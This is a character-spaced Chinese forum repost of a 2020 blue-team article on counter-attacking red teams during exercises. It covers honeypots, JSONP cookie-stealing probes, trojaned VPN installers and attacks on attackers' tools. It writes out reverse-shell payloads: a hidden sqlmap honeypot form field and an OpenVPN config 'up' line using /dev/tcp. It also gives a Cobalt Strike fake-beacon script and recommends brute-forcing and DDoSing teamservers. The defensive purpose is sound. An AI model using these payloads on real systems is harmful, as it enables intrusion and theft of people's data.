搜索

[21507] 2020-12-16_红蓝对抗-反制

文档创建者：s7ckTeam
浏览次数：7
最后更新：2025-01-18
2020-12-16_红蓝对抗-反制 红 蓝 对 抗 - 反 制 乌 雲 安 全   L e m o n S e c   2 0 2 0 - 1 2 - 1 6 一 、 前 言 一 、 前 言 初 次 接 触 反 制 技 术 ， 写 一 个 文 档 作 为 记 录 。 二 、 反 制 中 常 见 技 术 点 二 、 反 制 中 常 见 技 术 点 1 . 蜜 罐 蜜 罐 蜜 罐 可 以 理 解 成 互 联 网 上 的 一 台 主 机 ， 它 的 作 用 是 诱 骗 攻 击 者 去 对 自 己 进 行 攻 击 ， 然 后 记 录 攻 击 者 的 攻 击 细 节 并 生 成 对 应 的 攻 击 者 画 像 ， 是 当 前 的 一 种 比 较 主 流 的 入 侵 检 测 系 统 也 是 一 种 主 动 防 御 系 统 。 1 . 1   放 置 高 交 互 蜜 罐 放 置 高 交 互 蜜 罐 放 置 高 交 互 蜜 罐 ， 例 如 一 个 邮 箱 服 务 类 型 的 蜜 罐 ， 攻 击 者 有 可 能 会 进 行 邮 箱 注 册 ， 这 样 子 攻 击 者 就 主 动 向 我 们 留 下 了 自 己 的 身 份 信 息 。 1 . 2   放 置 多 个 容 易 被 发 现 的 蜜 罐 放 置 多 个 容 易 被 发 现 的 蜜 罐 放 置 多 个 攻 击 者 可 以 轻 而 易 举 发 现 的 蜜 罐 ， 攻 击 者 就 会 知 道 自 己 所 在 的 环 境 是 被 蜜 罐 所 包 围 的 ， 有 可 能 就 会 放 弃 进 行 大 范 围 攻 击 ， 变 相 保 护 了 蜜 罐 背 后 的 真 实 核 心 系 统 。 1 . 3   在 蜜 罐 中 使 用 在 蜜 罐 中 使 用 J S O N P 探 针 探 针 蜜 罐 中 设 置 一 个 网 页 ， 网 页 中 写 入 指 定 的 代 码 。 当 攻 击 者 访 问 指 定 网 页 的 时 候 ， 就 会 窃 取 攻 击 者 的 c o o k i e 并 上 传 到 服 务 器 上 ， 被 窃 取 的 c o o k i e 是 可 以 被 指 定 的 ， 例 如 可 以 窃 取 攻 击 者 登 陆 百 度 的 c o o k i e ， 登 陆 豆 瓣 的 c o o k i e 等 ， 可 以 通 过 此 来 得 到 攻 击 者 画 像 ， 获 取 黑 客 的 i p 地 址 ， 分 别 通 过 w e b r t c 与 淘 宝 接 口 。 但 是 在 最 新 版 的 浏 览 器 中 ， w e b r t c 因 为 隐 私 问 题 ， 已 经 被 浏 览 器 禁 止 通 过 该 接 口 获 取 用 户 i p 。 淘 宝 接 口 从 浏 览 器 端 调 用 该 接 口 的 话 ， 获 取 的 i p 准 确 度 较 高 。 条 件 ： 1 .   攻 击 者 登 陆 过 社 交 媒 体 并 且 未 退 出 账 号 2 .   拥 有 相 关 媒 体 的 j s o n p 接 口 参 考 文 章 ： 利 用 社 交 账 号 精 准 溯 源 的 蜜 罐 技 术 利 用 w e b r t c 获 取 真 实 i p J S O N P 探 针 1 . 4   蜜 罐 挂 马 蜜 罐 挂 马 留 几 个 文 件 下 载 链 接 ， 例 如 v p n 客 户 端 ， 并 对 正 常 程 序 进 行 木 马 植 入 。 或 者 制 作 恶 意 的 e x c e l 文 档 诱 导 其 进 行 下 载 。 蜜 罐 中 放 置 恶 意 安 装 包 , 参 考 文 章 D L L 劫 持 + 重 新 制 作 安 装 包 在 钓 鱼 与 反 钓 鱼 的 利 用 2 . 信 息 干 扰 信 息 干 扰 红 队 攻 击 前 都 会 进 行 信 息 收 集 ， 一 般 都 是 通 过 天 眼 查 ， g i t h u b ， g i t l a b 等 ， 我 们 可 以 在 g i t h u b 上 放 置 恶 意 e x p 或 者 无 效 等 源 代 码 ， 可 以 拖 延 红 队 的 攻 击 实 现 ， 甚 至 实 现 反 制 ( 如 果 红 队 运 行 了 我 们 的 恶 意 e x p 的 话 ) ， 然 后 通 过 网 络 故 意 透 露 我 们 的 蜜 罐 信 息 ， 诱 导 红 队 去 攻 击 蜜 罐 ， 进 而 得 到 黑 客 画 像 。 3 . 反 击 思 路 反 击 思 路 3 . 1   反 制 钓 鱼 页 面 反 制 钓 鱼 页 面 直 接 对 钓 鱼 页 面 进 行 w e b 渗 透 攻 击 ， 尝 试 直 接 控 制 。 攻 防 演 戏 开 始 前 期 ， 红 队 成 员 肯 定 会 用 许 多 肉 鸡 去 对 目 标 资 产 进 行 批 量 漏 洞 扫 描 ， 或 者 自 己 使 用 肉 鸡 生 成 钓 鱼 页 面 等 ， 这 些 肉 鸡 基 本 都 含 有 漏 洞 ， 这 时 候 去 反 击 成 功 率 会 比 较 高 。 3 . 2   反 制 钓 鱼 邮 件 反 制 钓 鱼 邮 件 1 .   对 附 件 进 行 逆 向 分 析 ， 得 到 C 2 地 址 ， 然 后 对 目 标 i p 进 行 渗 透 攻 击 。 通 过 邮 箱 求 手 机 号 码 可 见 ： 已 知 邮 箱 ， 求 手 机 号 码 ? 有 一 个 网 站 可 以 查 询 利 用 目 标 邮 箱 注 册 过 的 网 站 ： 查 找 邮 箱 注 册 过 的 网 站 2 .   发 现 钓 鱼 邮 件 后 ， 将 钓 鱼 邮 件 放 在 我 们 提 前 配 置 好 的 蜜 罐 中 执 行 ， 在 蜜 罐 中 放 上 恶 意 的 加 入 木 马 的 v p n 安 装 包 与 密 码 本 ， 等 待 攻 击 者 下 载 并 连 接 。 3 . 3   反 制 攻 击 工 具 反 制 攻 击 工 具 倘 若 对 方 使 用 带 有 漏 洞 版 本 的 攻 击 工 具 例 如 蚁 剑 、 A W V S 等 ， 这 时 候 可 以 使 用 R C E 攻 击 对 其 进 行 反 控 ， 高 版 本 蚁 剑 上 此 漏 洞 已 经 被 修 复 。 已 知 有 漏 洞 的 工 具 版 本 ：
1 .   蚁 剑   < = 2 . 0 . 7 暂 无 直 接 可 用 e x p 。 2 .   a w v s   1 0 直 接 利 用 e x p ， 等 待 对 方 扫 描 自 己 ， 即 刻 上 线 。 e x p 下 载 地 址 ： h t t p s : / / g i t h u b . c o m / d z o n e r z y / a c u n e t i x _ 0 d a y 也 可 以 利 用 C S R F 漏 洞 去 反 击 。 参 考 文 章 ： 论 如 何 反 击 用 A W V S 的 黑 客 如 何 优 雅 的 反 击 扫 描 你 网 站 的 黑 客 3 .   c s   3 . 5 只 有 3 . 5 及 以 下 版 本 可 能 被 利 用 ， 且 无 直 接 可 用 e x p ， 参 考 文 章 C o b a l t   S t r i k e   t e a m 服 务 被 爆 R C E 漏 洞 ， 尽 快 升 级 最 新 版 ! 。 4 .   s q l m a p 构 造 特 殊 的 g e t 或 者 p o s t 注 入 点 来 等 待 攻 击 者 使 用 s q l m a p 扫 描 ， 例 如 下 图 ， 将 g e t 请 求 中 的 一 个 参 数 的 值 设 置 为 ` l s ` l , 倘 若 直 接 改 成 反 弹 s h e l l 的 代 码 即 可 反 控 对 方 机 器 。 p o s t 方 式 的 利 用 ： 页 面 代 码 : b u r p 截 图 ： 如 果 红 队 成 员 不 仔 细 看 p o s t 数 据 ， 就 有 可 能 直 接 复 制 黏 贴 这 个 包 放 在 s q l m a p 里 面 跑 ， 这 样 子 就 会 被 蓝 队 控 制 。 < h t m l > < h e a d > < t i t l e >   A   s q l m a p   h o n e y p o t   d e m o < / t i t l e > < / h e a d > < b o d y > < i n p u t > s e a r c h   t h e   u s e r < / i n p u t > < f o r m   i d = " m y F o r m "   a c t i o n = " u s e r n a m e . h t m l "   m e t h o d = " p o s t "   e n c t y p e = " t e x t / p l a i n " > < i n p u t   t y p e = ' h i d d e n '   n a m e = ' n a m e ' v a l u e = ' R o b i n & i d = 4 5 6 7 & c o m m a n d = s h e l l ` b a s h   - i   > & / d e v / t c p / 1 9 2 . 1 6 8 . x x x . x x x / 2 3 3 3   0 > & 1 ` & p o r t = 1 2 3 4 ' / > < i n p u t   t y p e = " b u t t o n " ο n c l i c k = " m y F o r m . s u b m i t ( ) "   v a l u e = " S u b m i t " > < / f o r m > < / b o d y > < / h t m l >
参 考 文 章 ： 注 意 了 ， 使 用 s q l m a p 的 你 可 能 踩 中 了 蜜 罐 5 .   m s f   v = M e t a s p l o i t   4 . 1 2 . 0 - 2 0 1 6 0 6 1 5 0 1   t o   4 . 1 2 . 0 - 2 0 1 6 0 8 3 0 0 1 m s f 中 直 接 有 利 用 脚 本 ， 路 径 为 e x p l o i t / m u l t i / h t t p / m e t a s p l o i t _ s t a t i c _ s e c r e t _ k e y _ b a s e 。 可 以 在 s h o d a n 上 直 接 搜 索 互 联 网 侧 的 m s f ： 参 考 文 章 : M e t a s p l o i t   反 序 列 化 漏 洞 浅 谈 蚁 剑 R C E 嵌 入 式 浏 览 器 安 全 杂 谈 - e l e c t r o n 框 架 中 国 蚁 剑 源 码 分 析 论 如 何 反 击 用 A W V S 的 黑 客 使 用 各 种 扫 描 工 具 的 你 ， 不 但 踩 了 “ 蜜 罐 ” 可 能 还 要 被 团 灭 了 3 . 4   反 制 X S S 盲 打 我 们 遇 见 了 X S S 盲 打 攻 击 时 ， 可 以 选 择 将 虚 假 信 息 回 传 给 X S S 平 台 并 反 制 攻 击 者 。 具 体 实 现 ： 1 .   在 蜜 罐 上 配 置 一 个 后 台 管 理 系 统 的 一 个 页 面 ， 让 这 个 页 面 存 在 X S S 漏 洞 。 2 .   页 面 的 背 后 逻 辑 是 ， 如 果 账 号 密 码 验 证 成 功 则 显 示 当 前 I P 不 在 准 入 名 单 中 ， 然 后 弹 到 另 一 个 页 面 ， 另 一 个 页 面 是 下 载 页 面 ， 这 个 页 面 上 部 署 一 个 植 入 木 马 的 程 序 ( 例 如 v p n ) ， 诱 导 攻 击 者 下 载 。 参 考 文 章 ： 看 蓝 队 如 何 干 翻 你 ， 浅 谈 蓝 队 反 制 手 段 ！ 3 . 5   利 用 利 用 w i n r a r 漏 洞 漏 洞 条 件 ： 安 装 w i n r a r 软 件 实 现 的 效 果 ： 攻 击 者 下 载 我 们 制 作 好 的 恶 意 r a r 文 件 ， 在 自 己 电 脑 上 利 用 w i n r a r 解 压 后 ， 就 会 将 我 们 事 先 指 定 的 e x e 文 件 解 压 到 当 前 用 户 的 开 机 启 动 文 件 夹 下 ， 等 机 器 重 启 的 时 候 就 会 运 行 我 们 事 先 安 排 的 e x e 文 件 。 利 用 ： h t t p s : / / g i t h u b . c o m / W y A t u / C V E - 2 0 1 8 - 2 0 2 5 0 3 . 6   利 用 利 用 o p e n v p n 客 户 端 配 置 文 件 后 门 进 行 反 制 客 户 端 配 置 文 件 后 门 进 行 反 制 我 们 可 以 在 服 务 器 上 留 下 一 个 o p e n v p n 客 户 端 的 后 门 文 件 ， 里 面 的 部 分 内 容 如 下 ： 我 们 可 以 先 做 一 个 蜜 罐 ， 比 如 说 蜜 罐 就 是 1 9 2 . 1 6 8 . 3 1 . 1 3 7 ， 且 这 个 i p 可 以 被 攻 击 者 反 问 到 。 在 蜜 罐 上 面 只 配 置 o p e n v p n 服 务 ， 然 后 将 上 面 的 o p e n v p n 客 户 端 文 件 放 在 另 一 台 主 机 上 ， 最 好 是 台 w i n d o w s 主 机 且 无 法 执 行 o p e n v p n 命 令 ， 这 样 子 攻 击 者 就 不 得 不 下 载 这 个 配 置 文 件 进 行 利 用 。 当 攻 击 者 下 载 o p e n v p n 配 置 文 件 到 本 地 进 行 后 ， 就 会 执 行 我 们 事 先 写 入 的 反 弹 s h e l l 的 命 令 ， 进 而 达 到 反 控 的 效 果 。 参 考 文 章 ： 从 O p e n V P N 配 置 文 件 中 创 建 反 弹 S h e l l 实 现 用 户 系 统 控 制 对 某 攻 击 队 的 W e b s h e l l 进 行 分 析 3 . 7   反 制 反 制 c o a b l t   s t r i k e 1 . 反 制 钓 鱼 反 制 钓 鱼 在 隔 离 网 段 机 器 上 批 量 启 动 钓 鱼 文 件 ， D D O S 红 队 的 T e a m s e r v e r ， 利 用 脚 本 。 参 考 文 章 ： 蓝 色 吃 定 红 色 - 爆 破 C S   T e a m s e r v e r   密 码 2 . 爆 破 爆 破 C S 密 码 密 码 一 般 情 况 下 C S 都 会 设 置 在 5 0 0 5 0 端 口 ， 且 密 码 相 对 都 会 比 较 简 单 ， 我 们 可 以 使 用 脚 本 去 破 解 其 密 码 直 接 连 接 其 服 务 端 然 后 进 行 其 他 操 作 。 爆 破 脚 本 ： 脚 本 下 载 地 址 3 . 假 上 线 假 上 线 只 发 送 心 跳 包 ， 让 C S 以 为 我 们 已 经 上 线 ， 这 时 候 攻 击 者 只 会 看 到 上 线 信 息 但 无 法 执 行 任 何 命 令 。 t i t l e : " m e t a s p l o i t   i s   i n i t i a l i z i n g " r e m o t e   1 9 2 . 1 6 8 . 3 1 . 1 3 7 i f c o n f i g   1 0 . 2 0 0 . 0 . 2   1 0 . 2 0 0 . 0 . 1 d e v   t u n s c r i p t - s e c u r i t y   2 u p   " / b i n / b a s h   - c   ' / b i n / b a s h   - i   >   / d e v / t c p / 1 9 2 . 1 6 8 . 3 1 . 1 3 8 / 9 0 9 0   0 < & 1   2 > & 1 & ' " s u d o   o p e n v p n   e x a m p l e . o v p n
利 用 代 码 ： 脚 本 下 载 地 址 ： h t t p s : / / g i t h u b . c o m / s h a n f e n g l a n / f a k e _ o n l i n e / t r e e / m a i n 参 考 文 章 ： 看 我 如 何 模 拟 C o b a l t   S t r i k e 上 线 欺 骗 入 侵 者 3 . 8 反 制 反 制 d n s l o g 与 与 h t t p l o g 1 .   对 常 见 的 d n s l o g 平 台 进 行 屏 蔽 。 2 .   在 站 长 之 家 上 利 用 多 地 p i n g 检 测 来 对 目 标 对 d n s l o g 域 名 进 行 攻 击 ， 达 到 混 淆 视 听 的 效 果 , 例 如 对 方 的 d n s l o g 域 名 为 z z z . t e s t . c o m ， 我 们 就 可 以 去 p i n g   a d m i n i s t r a t o r . z z z . t e s t . c o m 即 可 ， 达 到 混 淆 视 听 的 目 的 。 三 、 溯 源 三 、 溯 源 1 .   溯 源 目 标 模 版 ： 溯 源 目 标 模 版 ： 姓 名 / I D ： 攻 击 I P ： 地 理 位 置 ： Q Q : I P 地 址 所 属 公 司 ： I P 地 址 关 联 域 名 ： 邮 箱 ： 手 机 号 ： 微 信 / 微 博 / s r c / i d 证 明 ： 人 物 照 片 ： 跳 板 机 （ 可 选 ） ： 关 联 攻 击 事 件 ： i m p o r t   r e i m p o r t   t i m e i m p o r t   r e q u e s t s d e f   h e a r t b e a t ( ) :         u r l   =   " h t t p : / / 1 9 2 . 1 6 8 . 1 8 6 . 1 3 3 : 3 3 3 / a c t i v i t y "         h e a d e r s   =   { ' C o o k i e ' :   ' I g y z G u I X 0 J r a 5 H t 4 5 Z L Y K y X W B n x f k N I 3 m 6 B O v E x E P d W C u A v 8 f n Y 6 H X K T y g B O V d E 3 4 s D Y u s o D I j z H r / Q R 3 2 m K s o V P b 5 N F M C H A t C 7 F L Q U d S s Z d u f X j s d 2 d S q k G D c a Z k c Q Y D 1 B s s y j G Z H T y 4 2 l T 8 o D p g a 3 y 1 z 5 F M G R j o b e k s g a M X 7 M = ' , ' H o s t ' :   ' 1 9 2 . 1 6 8 . 1 8 6 . 1 3 3 : 3 3 3 ' , ' A c c e p t ' :   ' * / * ' , ' C o n n e c t i o n ' :   ' K e e p - A l i v e ' , ' C a c h e - C o n t r o l ' :   ' n o - c a c h e ' , ' U s e r - A g e n t ' :   ' M o z i l l a / 4 . 0   ( c o m p a t i b l e ;   M S I E   8 . 0 ;   W i n d o w s   N T   6 . 1 ;   W O W 6 4 ;   T r i d e n t / 4 . 0 ;   S L C C 2 ;   . N E T   C L R   2 . 0 . 5 0 7 2 7 ) '                 }         r e s p   =   r e q u e s t s . g e t ( u r l = u r l , h e a d e r s = h e a d e r s )         t e x t   =   r e s p . c o n t e n t . h e x ( ) r e t u r n   t e x t x   =   T r u e w h i l e   x :         t e x t   =   h e a r t b e a t ( )         l e n g s   =   l e n ( t e x t ) #   p r i n t ( l e n g s ,   "         " ,   t e x t ) i f   ' 2 f 4 3 2 0 '   i n   t e x t   a n d   ' 0 0 0 0 4 1 '   i n   t e x t :                 p r i n t ( t i m e . s t r f t i m e ( " % Y - % m - % d   % H : % M : % S " ,   t i m e . l o c a l t i m e ( ) ) )                 c o m m e d s   =   r e . f i n d a l l ( r ' 2 f 4 3 2 0 ( . * ? ) 0 0 0 0 4 1 ' ,   t e x t ) f o r   c o m m   i n   c o m m e d s :                         c o m m e d   =   b y t e s . f r o m h e x ( c o m m ) . d e c o d e ( ' u t f - 8 ' )                         p r i n t ( c o m m e d )         t i m e . s l e e p ( 5 )
2 .   溯 源 思 路 溯 源 思 路 0 .   登 陆 受 害 机 器 进 行 信 息 收 集 如 果 是 l i n u x 可 以 查 看 命 令 执 行 历 史 与 其 他 相 关 日 志 文 件 。 如 果 是 w i n d o w s 可 以 查 询 I D   = =   4 6 2 5 审 核 失 败 的 日 志 ， 后 续 通 过 对 时 间 的 排 查 、 以 及 源 I P 地 址 、 类 型 与 请 求 的 频 率 进 行 分 析 来 判 断 是 否 是 来 源 于 内 网 的 暴 力 破 解 ， 通 过 对 l o g o n t y p e 的 数 值 确 认 就 可 以 确 认 到 底 是 通 过 什 么 协 议 进 行 暴 力 破 解 成 功 的 。 相 对 的 数 值 关 系 ： l o c a l   W I N D O W S _ R D P _ I N T E R A C T I V E   =   “ 2 ” l o c a l   W I N D O W S _ R D P _ U N L O C K   =   “ 7 ” l o c a l   W I N D O W S _ R D P _ R E M O T E I N T E R A C T I V E   =   “ 1 0 ” l o c a l   W I N D O W S _ S M B _ N E T W O R K   =   “ 3 ” 1 .   针 对 I P 或 者 域 名 通 过 公 网 已 有 的 开 放 信 息 进 行 查 询 h t t p s : / / x . t h r e a t b o o k . c n / h t t p s : / / t i . q i a n x i n . c o m / h t t p s : / / t i . 3 6 0 . c n / h t t p s : / / w w w . v e n u s e y e . c o m . c n / h t t p s : / / c o m m u n i t y . r i s k i q . c o m / 3 .   定 位 目 标 利 用 精 确 i p 定 位 进 行 目 标 的 位 置 定 位 。 4 .   收 集 互 联 网 侧 的 用 户 I D 收 集 手 机 号 与 互 联 网 上 的 各 种 I D 信 息 ( 利 用 g o o g l e   h a c k i n g ) 。 5 .   进 入 跳 板 机 进 行 信 息 收 集 如 果 有 能 力 控 制 了 红 队 的 跳 板 机 ， 则 可 进 入 跳 板 机 进 行 信 息 收 集 ， 查 看 命 令 执 行 的 历 史 记 录 与 日 志 等 。 四 、 参 考 文 章 四 、 参 考 文 章 从 O p e n V P N 配 置 文 件 中 创 建 反 弹 S h e l l 实 现 用 户 系 统 控 制 -   h t t p s : / / w w w . f r e e b u f . c o m / a r t i c l e s / t e r m i n a l / 1 7 5 8 6 2 . h t m l 对 某 攻 击 队 的 W e b s h e l l 进 行 分 析 -   h t t p s : / / g h 0 s t . c n / a r c h i v e s / 2 0 1 9 - 0 8 - 2 1 / 1 利 用 w i n r a r 漏 洞 -   h t t p s : / / g i t h u b . c o m / W y A t u / C V E - 2 0 1 8 - 2 0 2 5 0 看 蓝 队 如 何 干 翻 你 ， 浅 谈 蓝 队 反 制 手 段 ！ -   h t t p s : / / m y . o s c h i n a . n e t / u / 4 5 7 9 4 9 1 / b l o g / 4 4 9 9 9 9 4 浅 谈 蚁 剑 R C E -   h t t p s : / / x z . a l i y u n . c o m / t / 8 1 6 7 嵌 入 式 浏 览 器 安 全 杂 谈 - e l e c t r o n 框 架 -   h t t p : / / w w w . f 4 c k w e b . t o p / i n d e x . p h p / a r c h i v e s / 1 0 3 / 中 国 蚁 剑 源 码 分 析 -   h t t p s : / / y z d d m r 6 . t k / p o s t s / a n t s w o r d - d i y - 4 / 论 如 何 反 击 用 A W V S 的 黑 客
-   h t t p s : / / w w w . f r e e b u f . c o m / n e w s / 1 3 6 4 7 6 . h t m l D L L 劫 持 + 重 新 制 作 安 装 包 在 钓 鱼 与 反 钓 鱼 的 利 用 -   h t t p s : / / m p . w e i x i n . q q . c o m / s ? _ _ b i z = M z U 2 N T c 2 M j A y N g = = & m i d = 2 2 4 7 4 8 4 0 1 6 & i d x = 1 & s n = c 4 c d 2 d b 9 1 6 f 2 7 a 9 1 f d 1 7 9 d b a d 7 8 d d 6 7 5 & s c e n e = 2 1 # w e c h a t _ r e d i r e c t 已 知 邮 箱 ， 求 手 机 号 码 ? -   h t t p s : / / m p . w e i x i n . q q . c o m / s ? _ _ b i z = M z I 3 N T E x M D c 0 O Q = = & m i d = 2 2 4 7 4 8 3 8 0 2 & i d x = 1 & s n = e 4 3 1 7 b c b c 3 e 7 8 d d f 4 c 2 7 1 5 2 9 8 e f 1 9 7 f 2 & s c e n e = 2 1 # w e c h a t _ r e d i r e c t J S O N 探 针 -   h t t p s : / / l c x . c c / p o s t / 4 4 4 4 / 蓝 队 实 战 溯 源 反 制 手 册 分 享 -   h t t p s : / / s e c . n m a s k . c n / a r t i c l e _ c o n t e n t ? a _ i d = 8 1 9 6 3 b e 5 5 e 7 e 0 6 5 8 8 2 7 d c a 1 2 2 1 9 d d c 7 5 攻 防 演 练 中 防 守 方 的 骚 姿 势 -   h t t p s : / / w w w . a n q u a n k e . c o m / p o s t / i d / 2 1 9 0 5 9 看 我 如 何 模 拟 C o b a l t   S t r i k e 上 线 欺 骗 入 侵 者 -   h t t p s : / / k 8 g e g e . o r g / p / 4 0 5 2 3 . h t m l 蓝 色 吃 定 红 色 - 爆 破 C S   T e a m s e r v e r   密 码 -   h t t p s : / / m p . w e i x i n . q q . c o m / s / A Z w K k E e T E r P e O r k V H 2 M i r w 利 用 w e b r t c 获 取 真 实 i p -   h t t p s : / / b l o g . c s d n . n e t / l e a f r e n c h l e a f / a r t i c l e / d e t a i l s / 8 4 7 4 3 3 1 3 J S O N P 探 针 -   h t t p s : / / l c x . c c / p o s t / 4 4 4 4 / 原 创 作 者 ： S h a n f e n g l a n 7 作 者 介 绍 ： 一 个 刚 步 入 安 全 行 业 的 人 ， 乐 意 分 享 技 术 ， 乐 意 接 受 批 评 ， 乐 意 交 流 。 希 望 自 己 能 把 抽 象 的 技 术 用 尽 量 具 体 的 语 言 讲 出 来 ， 让 每 个 人 都 能 看 懂 ， 并 觉 得 简 单 。 最 后 希 望 大 家 可 以 关 注 我 的 博 客 ： s h a n f e n g l a n . b l o g . c s d n . n e t 一 如 既 往 的 学 习 ， 一 如 既 往 的 整 理 ， 一 如 即 往 的 分 享 。 感 谢 支 持 “ 如 侵 权 请 私 聊 公 众 号 删 文 ” 扫 描 关 注 扫 描 关 注 L e m o n S e c 觉 得 不 错 点 个 觉 得 不 错 点 个 “ 赞 赞 ” 、 、 “ 在 看 在 看 ” 哦 哦
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理